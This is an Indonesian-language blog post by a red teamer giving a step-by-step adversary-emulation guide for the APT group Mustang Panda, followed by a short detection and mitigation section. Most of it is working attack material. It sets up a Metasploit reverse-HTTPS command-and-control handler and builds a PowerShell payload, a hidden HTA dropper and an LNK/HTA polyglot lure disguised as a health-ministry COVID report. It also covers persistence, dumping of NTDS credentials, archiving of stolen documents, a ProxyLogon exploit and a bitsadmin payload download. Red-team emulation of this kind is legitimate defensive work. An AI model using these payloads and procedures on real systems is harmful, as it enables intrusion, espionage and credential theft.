Panduan Adversary Emulation APT Mustang Panda

Rahmat Nurfauzi
9 min readJan 11, 2022

--

Artikel ini akan menjelaskan bagaimana cara melakukan adversary emulation terhadap kelompok APT Mustang Panda dimulai dari perencanaan skenario, persiapan infrastruktur, pengembangan malware sampai tahapan post-exploitation. Termasuk juga bagaimana cara mencegah dan medeteksi aktivitas Mustang Panda.

Serangan siber di Indonesia sangat meningkat tajam terutama yang dilakukan oleh kelompok APT harus direspon serius, melihat berita akhir-akhir ini banyak kelompok APT yang manargetkan institusi pemerintah di Indonesia merupakan salah satu dampak dari konflik Laut China Selatan.

Advanced Persistent Threat (APT) adalah kelompok peretas yang disponsori oleh suatu negara dimana serangan yang dilakukan secara diam-diam tanpa terdeteksi untuk waktu yang lama. APT merupakan salah satu ancaman terbesar bagi suatu kawasan atau negara, serangan APT pada kawasan Asia Tenggara didominasi oleh APT yang berasal dari China.

Banyak tujuan dan motivasi yang dilakukan oleh kelompok APT diantaranya seperti :

  • Mencuri kekayaan intelektual dan informasi lainnya.
  • Melakukan spionase mencuri informasi rahasia negara dengan mengumpulkan data politik — ekonomi intelijen yang mungkin bermanfaat bagi pengambilan keputusan.

Berdasarkan informasi yang diperoleh dari website Threat Group Cards: A Threat Actor Encyclopedia milik ThaiCert, sebanyak 35 APT dan 4 kelompok yang tidak diketahui menargetkan Indonesia.

Dengan adanya ancaman APT ini organisasi perlu menguji kesiapan terhadap serangan siber melalui cara pengujian keamanan seperti Red Teaming atau Adersary Emulation yang mana lebih difokuskan untuk meningkatkan kemampuan dalam hal protection, detection dan response.

Pengenalan Adversary Emulation

Adversary emulation merupkan bagian dari pengujian red team dengan melakukan emulasi atau meniru spesifik kelompok ancaman yang diketahui menargetkan organisasi dengan memanfaatkan informasi threat intelligence untuk menentukan tindakan dan perilaku. Manfaat dari aktivitas adversary emulation ini organisasi dapat meningkatkan postur keamanan dan dapat mengantisipasi maupun mempertahankan serangan siber terhadap kelompok ancaman tertentu.

Threat intelligence merupakan informasi yang digunakan organisasi untuk memahami ancaman yang telah, akan, atau sedang menargetkan organisasi.

Untuk memulai adversary emulation perlu mencari kelompok ancaman yang tertarik dengan sektor atau industri terkait dengan mengumpulkan semua informasi intelijen sebanyak-banyaknya mengenai kelompok ancaman. Sumber informasi threat intelligence bisa diperoleh melalui :

  • Laporan open source seperti Mandiant, DFIR Report, Microsoft Threat Intel, Anomali, Crowdstrike, Group-IB, Unit42, Kaspersky, Recorded Future, Cisco Talos.
  • Feed berbayar pihak ketiga.
  • Digital forensic dan incident response.

Threat Intelligence

Nama Kelompok : Mustang Panda (Crowdstrike)
Alias / Nama Lain Kelompok : Temp.Hex (Fireeye), HoneyMyte (Kaspersky), Red Lich (PWC), TA416 (Proofpoint) , BRONZE PRESIDENT (Secureworks), PKPLUG (Unit42)
Tujian : Spionase
Sektor Sasaran : Penerbangan, Telekomunikasi, Pemerintah, Lembaga Swadaya Masyarakat (LSM) dan Lembaga Penelitian.
Negara Sasaran : Indonesia Australia, Bangladesh, Belgium, Ethiopia, Germany, Hong Kong, India, Mongolia, Myanmar, Nepal, Pakistan, Singapore, South Korea, Taiwan, UK, UN, USA dan Vietnam.
Alat Yang Dipakai : Cobalt Strike, Poison Ivy, PlugX, ORat, RCSession, Nbtscan, Nmap, Wmiexec, TeamViewer, Powerview.ps1, China Chopper web shell

Mustang Panda adalah kelompok APT berbasis di China yang melakukan spionase pertama kali diamati pada tahun 2017 tetapi mungkin telah melakukan operasi setidaknya sejak tahun 2014. Menurut laporan Unit 42 Palo Alto aktivitas terakhir dari Mustang Panda memanfaatkan kerentanan Microsoft Exchange ProxyLogon untuk masuk ke dalam jaringan korban.

Referensi

Menjalankan Adversary Emulation

Skenario yang dibuat berdasarkan dari laporan threat intelligence memiliki keterbatasan tidak semua TTP yang dilakukan oleh APT dilaporakan atau terekspos. Aktivitas adversary emulation ini dibagi menjadi 2 skenario :

  1. Skenario 1 akses awal masuk melalui spear phishing.
  2. Skenario 2 akses awal masuk dengan melakukan eksploitasi kerentanan Proxyshell pada Microsoft Exchange.

Membuat Skenario

Setelah semua informasi threat intelligence dikumpulkan selanjutnya mengekstrak informasi Taktik, Teknik dan Prosedur (TTP) dan memulai membuat skenario perencanaan adversary emulation.

https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations

Untuk mengetahui Mitre ATT&CK ID pada setiap perintah yang dijalankan oleh kelompok ancaman bisa dengan cara mencarinya langsung di website Mitre ATT&CK.

https://attack.mitre.org/

Melakukan pemetaan TTP ke dalam Mitre ATT&CK menggunakan ATT&CK Navigator :

Persiapan Alat & Infrastruktur

Pada tahap ini red team mempersiapkan custom malware yang sama digunakan oleh kelompok ancaman dan infrastruktur yang dipakai dengan membeli minimal 1 VPS dan 1 domain yang akan digunakan selama aktivitas adversary emulation.

Download dan install metasploit :

sudo curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
sudo chmod +x msfinstall
sudo ./msfinstall

Install Letsencrypt certbot :

apt install certbot -y

Buat sertifikat baru menggunakan certbot :

sudo certbot certonly --non-interactive --quiet --register-unsafely-without-email --agree-tos -a webroot --webroot-path=/var/www/html -d <NAMA DOMAIN>

Menggabungkan sertifikat LetsEncrypt dan private key :

sudo cat /etc/letsencrypt/live/<NAMA DOMAIN>/privkey.pem /etc/letsencrypt/live/<NAMA DOMAIN>/fullchain.pem > /etc/ssl/unified.pem

Jalankan msfconsole, setiap aktivitas red team wajib di log termasuk informasi jam, tanggal, ip address, dan perintah yang dijalankan.

setg prompt [%T] %L (s:%S j:%J)
set SessionLogging true
spool /path/msf.log
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set SSLCERT /etc/ssl/unified.pem
set HANDLERSSLCERT /etc/ssl/unified.pem
set StagerVerifySSLCert true
set LPORT 443
set LHOST domain.com
exploit -z -J -j

Skenario 1

Weaponization

InstallUtil

Mitre ATT&CK ID : T1218.004 — Signed Binary Proxy Execution: InstallUtil

Mustang Panda menggunakan InstallUtil untuk mengeksekusi beacon.

use evasion/windows/applocker_evasion_install_util
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST domain.com
set LPORT 443
run

Melalui windows dan compile source code installutil payload :

C:\Windows\Microsoft.Net\Framework64\v4.0.3019\csc.exe /out:tmp_FlVnNI.dat install_util.txt

PowerShell

Mitre ATT&CK ID : T1059.001 — Command and Scripting Interpreter: PowerShell

Mustang Panda menggunakan malicious powershell untuk terhubung ke C2.

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=domain.com LPORT=443 -f psh-cmd

LNK HTA Polyglot

Mitre ATT&CK ID :

  • T1218.005 — Signed Binary Proxy Execution: Mshta
  • T1547.009 — Boot or Logon Autostart Execution: Shortcut Modification
  • T1036.007 — Masquerading: Double File Extension

Mustang Panda menggunakan teknik LNK HTA Polyglot dengan menyisipkan file HTA ke dalam file LNK (Windows Shortcut).

https://app.any.run/tasks/ff7ebc07-f25d-4b28-9301-b80a45cfd448/

Membuat file HTA baru bernama payload.hta didalam HTA terdapat vbscript yang akan menjalankan powershell script dengan memanfaatkan WMI Win32_Process.

<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" CAPTION="no" />
<script language="VBScript">
Set objSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
Set objServices = objSWbemLocator.ConnectServer(".", "\root\cimv2")
set objProcess = objServices.Get("Win32_Process")
objProcess.Create("cmd.exe /c powershell.exe -nop -w hidden -e <PASTE_BASE64>")
self.close
</script>
</head>
<body>
</body>
</html>

Dari informasi sample malware lnk diatas salin command line yang menjalankan HTA. Membuat windows shortcut menggunakan alat open source mklnk.

python2 lnk.py kemkes_laporan_covid19.doc.lnk c:/windows/system32/cmd.exe -w "%cd%" -a "/c for %x in (%temp%=%cd%) do for /f \"delims==\" %i in ('dir \"%x\kemkes_laporan_covid19.doc.lnk\" /s /b') do start m%windir:~-1,1%hta.exe \"%i\""

Terakhir, menyisipkan file hta ke dalam lnk dengan menggunakan perintah :

cat payload.hta >> kemkes_laporan_covid19.doc.lnk

Initial Access

Mitre ATT&CK ID : T1566.002 — Phishing: Spearphishing Link

Mustang Panda melakukan akses awal dengan mengirimkan sprear phishing berbentuk dokumen zip yang berisi LNK.

zip kemkes_laporan_covid19.doc.lnk kemkes_laporan_covid19.zip

Discovery / Internal Reconnaissance

Mitre ATT&CK ID :

  • T1016 — System Network Configuration Discovery
  • T1046 — Network Service Scanning
  • T1082 — System Information Discovery
  • T1057 — Process Discovery

Mustang panda menggunakan perintah berikut ini untuk mengumpulkan informasi konfigurasi didalam jaringan :

ipconfig
arp
systeminfo
netstat -ano

Mustang Panda menggunakan nbtscan yang menyamar sebagai program adobe.exe untuk melakukan netbios scanning :

Adobe.exe X.X.X.X/24

Mustang Panda menggunakan nmap.exe untuk melakukan port scanning pada port 445 :

nmap.exe -sT -p 445 X.X.X.X

Mustang Panda menggunakan perintah tasklist untuk mengetahui daftar proses aktif saat ini :

tasklist /v

Defense Evasion

Mitre ATT&CK ID :

  • T1036.005 — Masquerading: Match Legitimate Name or Location
  • T1562.001 — Impair Defenses: Disable or Modify Tools

Mustang panda mengganti nama binary dan lokasi untuk melewati deteksi :

copy C:\Windows\System32\schtasks.exe %temp%\wtask.exe
copy C:\Windows\System32\wscript.exe %temp%\winwsh.exe
copy C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe C:\Windows\InstallUtil.exe

Mustang panda mengakhiri proses lokal dan remote mengunakan taskkill :

taskkill /im svchosts.exe /F
taskkill /S <SERVER_TARGET> /U <USERNAME> /P <PASSWORD> /im svchost.exe

Persistence

Mitre ATT&CK ID :

  • T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
  • T1053.005 — Scheduled Task/Job: Scheduled Task
  • T1546.003 — Event Triggered Execution: Windows Management Instrumentation Event Subscription

Mustang Panda melakukan registry persistence dengan nama run key AdobelmdyU :

use exploits/windows/local/registry_persistence
set STARTUP USER
set RUN_NAME AdobelmdyU
set SESSION X
exploit -j

Mustang Panda melakukan schedule task persistence dengan nama Security Script kb0855787 yang mengeksekusi program wscript dan installutil :

%temp%\schtasks.exe /create /sc minute /mo 3 /tn "Security Script kb0855787" /tr "%temp%\winwsh.exe //Nologo //E:vbscript //B %temp%\Win976536.txt"%temp%\schtasks.exe /create /sc minute /mo 3 /tn "Security Script kb0855787" /tr "C:\Windows\InstallUtil.exe /logfile= /LogToConsole=false /U C:\windows\debug\tmp_FlVnNI.dat"

Mustang Panda melakukan wmi persistence menggunakan tool ORAT :

use exploit/windows/local/wmi_persistence
set SESSION X
set CALLBACK_INTERVAL 60000
set USERNAME_TRIGGER XXXX
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST X.X.X.X
set LPORT 443
exploit -j

Lateral Movement

Mitre ATT&CK ID :

  • T1047 — Windows Management Instrumentation
  • T1059.005 — Command and Scripting Interpreter: Visual Basic

Mustang panda melakukan lateral movement menggunakan wmiexec.vbs :

cscript wmiexec.vbs /cmd X.X.X.X ipconfig

Credential Dumping

Mitre ATT&CK ID : T1003.003 — OS Credential Dumping: NTDS

Mustang Panda melakukan credential dumping NTDS menggunakan vssadmin :

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\windows\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\windows\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\windows\temp\

Collection

Mitre ATT&CK ID : T1560.001 — Archive Collected Data: Archive via Utility

Mustang panda mengkompres dan menggumpulkan dokumen dengan ekstensi doc, xls, pdf menggunakan rar :

rar.exe a -r -ed -m3 -dh -tk -hpabcdefg1337 -v100m -ta20220111000000 -n*.doc* -n*.xls* -n*.pdf C:\windows\temp\data.rar C:\

Skenario 2

Weaponization

DLL Side Loading

Mitre ATT&CK : T1574.002 — Hijack Execution Flow: DLL Side-Loading

Mustang Panda konsisten menggunakan teknik DLL Side Loading dalam setiap kampanye. Pada kampanye terbaru yang dilaporkan oleh Unit42 Palo Alto, Mustang Panda menggunakan software Aro.exe untuk melakukan DLL Side Loading, sample malware dapat di download melalui any.run.

https://unit42.paloaltonetworks.com/thor-plugx-variant/

Software Aro.exe rentan terhadap dll hijacking, ketika software aro.exe dijalankan akan memuat file Aross.dll dengan DLL export DisplayAROTutorial.

https://www.virustotal.com/gui/file/9fffb3894b008d5a54343ccf8395a47acfe953394fffe2c58550e444ff20ec47/details

Membuat simple program dll dengan dll export DisplayAROTutorial yang akan menjalankan calculator.

#include <windows.h>extern "C" __declspec(dllexport) DWORD DisplayAROTutorial(DWORD dwNetshVersion, PVOID pReserved)
{
system ("start calc");
return 0;
}

Compile source code menggunakan mingw :

i686-w64-mingw32-g++ aross.cpp -shared -static-libgcc -static-libstdc++ -o aross.dll

Initial Access

Mitre ATT&CK : T1190 — Exploit Public-Facing Application

Mustang panda melakaukan eksploitasi pada Microsoft Exchange memanfatkan proxylogon vulnerability.

use exploit/windows/http/exchange_proxylogon_rce
set RHOSTS mail.target.com
set EMAIL user@target.com
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST X.X.X.X
exploit -j

Defense Evasion

Mitre ATT&CK : T1197 — BITS Jobs

Mustang Panda menggunakan bitsadmin untuk mendownload malware yang menjalankan DLL Side Loading.

bitsadmin /transfer redteam http://domain.com/aro.dat C:\\Windows\\temp\\aro.dat > C:\inetpub\wwwroot\aspnet_client\1.txt

Deteksi dan Mitigasi

Setelah mengetahui TTP yang digunakan oleh Mustang Panda dapat dengan mudah untuk mendeteksi dan memitigasi teknik yang digunakan, berikut ini rekomendasi yang disarankan sebagai pencegahan dari APT Mustang Panda :

  1. Selalu memperbarui antivirus dan melakukan pemindaian antivirus secara otomatis dan rutin setiap hari.
  2. Melarang koneksi web langsung ke internet tanpa melalui proxy yang diautentikasi.
  3. Memindai semua email masuk dan keluar untuk mendeteksi ancaman dan memfilter file yang dapat dieksekusi.
  4. Membatasi dan melarang program tertentu berjalan seperti powershell, installutil, bitsadmin, cmd, dan mshta menggunakan application whitelisting seperti AppLocker atau Windows Defender Application Control.
  5. Selalu memperbarui signature pada IDS/IPS.
  6. Melakukan update dan patching terhadap perangkat dan aplikasi seperti Sistem Operasi, Aplikasi/Software, Firmware dan Browser.
  7. Menerapakan Administrative Tier Model yang bertujuan untuk membantu organisasi mendapatkan lingkungan yang lebih aman. Tier Model mendefinisikan tiga tingkatan untuk memisahkan antara workstation dan asset-aset yang berharga seperti domain controller atau file server.
  8. Menggunakan teknologi Endpoint Detection and Response (EDR) memungkinkan pemantauan komprehensif terus-menerus terhadap aktivitas endpoint secara real time, analisis mendalam tentang proses mencurigakan dan respon langsung terhadap insiden dan pelanggaran.

Sulit untuk mendeteksi adanya aktivitas APT jika tidak tersedia visiblity yang baik, berikut ini event log yang perlu diaktifkan dan di forward ke dalam SIEM :

  • Microsoft Systems Monitor (Sysmon)
  • PowerShell Module, Script Block, and Transcription Logging
  • Account modifications, account logon, account lockout
  • Process tracking (Event id 4688)
  • AppLocker
  • Windows Defender
  • Object access auditing
  • Scheduled tasks

Sigma Rules

Berikut ini sigma rules yang bermanfaat untuk mendeteksi aktivitas Mustang Panda :

--

--

Rahmat Nurfauzi
Rahmat Nurfauzi

Written by Rahmat Nurfauzi

Red Teamer, Threat Hunter & Security Researcher. Contributors of Mitre ATT&CK Framework, PS Empire, LOLBins, Atomic Red Team and more.

No responses yet